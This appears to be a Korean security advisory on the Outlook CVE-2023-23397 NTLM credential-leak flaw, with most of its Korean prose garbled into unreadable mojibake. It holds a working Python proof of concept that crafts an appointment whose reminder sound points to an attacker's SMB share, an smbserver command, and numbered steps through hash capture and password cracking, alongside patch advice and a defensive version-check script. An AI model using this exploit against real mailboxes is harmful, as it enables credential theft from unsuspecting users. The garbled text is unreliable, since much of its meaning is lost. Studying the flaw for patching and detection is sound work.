CVE-2023-23397 ์ทจ์ฝ์ ์ ๋ณด
- CVE-2023-23397๋ Microsoft Windows ์ ์ฉ Outlook์ ์ฝ์์ ์๋ ค์ฃผ๋ ‘๋ฏธ๋ฆฌ ์๋ฆผ’ ๊ธฐ๋ฅ์ ์ฌ์ํ ์ฌ์ด๋ ํ์ผ์ ๋ถ๋ฌ์ค๊ธฐ ์ํด์ ๊ณต๊ฒฉ์์ SMB ์๋ฒ๋ก ์ธ์ฆํ๋ ๊ณผ์ ์ NTLM ์๊ฒฉ ์ฆ๋ช ์ ํ์ทจ๋๋ ๊ถํ ์์น ์ทจ์ฝ์ ์ ๋๋ค.
- ํด๋น ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ๊ถํ ์์น์ด ์ด๋ฃจ์ด์ ธ ๋ ํฐ ํผํด๊ฐ ๋ฐ์ํ ์ ์์ ์ ๋๋ก ์ํ๋๋ ๋ค์ ๋์ ๊ฒ์ผ๋ก ์์๋ฉ๋๋ค.
- ์กฐ์น ๋ฐฉ์์ผ๋ก Outlook์ Build 16130.20306 ์ด์์ผ๋ก ์ ๋ฐ์ดํธ๊ฐ ํ์ํ๋ฉฐ, SMB ์๋น์ค๋ฅผ ์ด์ฉํ์ง ์์ ๊ฒฝ์ฐ์๋ ํด๋น ์๋น์ค๋ฅผ ๋นํ์ฑํ ํ๊ฑฐ๋ SMB TCP/445 ํฌํธ ์์๋ฐ์ด๋๋ฅผ ์ฐจ๋จํฉ๋๋ค.
CVE Number CVE-2023-23397
CVSS Score | 9.8 |
severity(์ฌ๊ฐ๋) | CRITICAL |
์ฌ์ฉ๋ ํจํด | appointment.PidLidReminderFileParameter = @"\\๊ณต๊ฒฉ์์ฃผ์\share\sound.wav”; |
# pip install independentsoft.msg
# usage: python3 CVE-2023-23397.py --path \\\\attacker_ip\\share
from independentsoft.msg import Message
import datetime, argparse
parser = argparse.ArgumentParser(description="CVE-2023-23397")
parser.add_argument("--path", '-p', help="Path to save the file", required=True)
args = parser.parse_args()
if __name__ == "__main__":
appointment = Message()
appointment.message_class = "IPM.Appointment"
appointment.subject = "CVE-2023-23397"
appointment.body = "CVE-2023-23397 Test"
appointment.location = "Security Lab"
appointment.appointment_start_time = datetime.datetime.now()
appointment.appointment_end_time = datetime.datetime.now()
appointment.reminder_override_default = True
appointment.reminder_sound_file = args.path
appointment.save("appointment.msg")
smbserver.py -smb2support SHARE .
๊ณต๊ฒฉ ์์ฐ
1. ์๋จ์ “์ ์ ์ ๋ฉ์ผ” > “์ฝ์” ์ ํ
2. ์๋จ์ ๋ฏธ๋ฆฌ ์๋ฆผ 0๋ถ ์ ํ
3. ์ ํ ์ฐฝ ํ๋จ์ “์๋ฆฌ…” ํด๋ฆญ
4. ๊ณต๊ฒฉ์ ๊ณต์ ํด๋ ์ฃผ์ ์ ๋ ฅ ํ “ํ์ธ” ํด๋ฆญ
5. ์๋จ์ “์ ๋ฌ” ํด๋ฆญ
6. ๋ฐ๋ ์ฌ๋์ ๊ณต๊ฒฉ ๋์์ ์ด๋ฉ์ผ ์ฃผ์ ์ ๋ ฅ ํ ๋ณด๋ด๊ธฐ ๋ฒํผ ํด๋ฆญ
7. ๊ณต๊ฒฉ ๋์ ์ธก์์ ์์ ๋ฐ์ ์ผ์ ์ ๋ด ๋ฌ๋ ฅ์ ์ถ๊ฐ
8. ์ถ๊ฐ ์ ์๋ฆผ ๊ธฐ๋ฅ ์๋
9. ๊ณต๊ฒฉ์์ ํ์ผ ๊ณต์ ์๋ฒ์๋ ํผํด์์ NTLM ํด์๊ฐ ๊ธฐ๋ก๋จ
10. ํจ์ค์๋ ํฌ๋ํน ๋๊ตฌ๋ฅผ ์ฌ์ฉํด ์ฌ์ฉ์์ ํจ์ค์๋๋ฅผ ํ๋
# using python CVE-2023-23397_check.py
import winreg
# ๋ ์ง์คํธ๋ฆฌ ํค ์ด๊ธฐ
hkey = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\\\Microsoft\\\\Office\\\\ClickToRun\\\\Configuration")
# VersionToReport ๊ฐ ์ฝ๊ธฐ
try:
value, type = winreg.QueryValueEx(hkey, "VersionToReport")
except FileNotFoundError:
print("Microsoft Office๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.")
except Exception as e:
print(f"๋ ์ง์คํธ๋ฆฌ ์ฝ๊ธฐ ์ค๋ฅ: {e}")
else:
# ๊ฐ ์ถ๋ ฅ
if type == winreg.REG_SZ:
print(f"ํ์ฌ ๋น๋ ๋ฒ์ : {value}")
build_version = float( '.'.join(value.split('.')[2:]) )
if build_version < 16130.20306:
print("[์ทจ์ฝ] Office ๋ฒ์ ์ด 16130.20306 ๋ฏธ๋ง์
๋๋ค.")
else:
print("[์ํธ] Office ๋ฒ์ ์ด 16130.20306 ์ด์์
๋๋ค.")
# ๋ ์ง์คํธ๋ฆฌ ํค ๋ซ๊ธฐ
winreg.CloseKey(hkey)
์ฐธ๊ณ
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397
https://learn.microsoft.com/en-us/officeupdates/microsoft365-apps-security-updates
https://asec.ahnlab.com/ko/49819/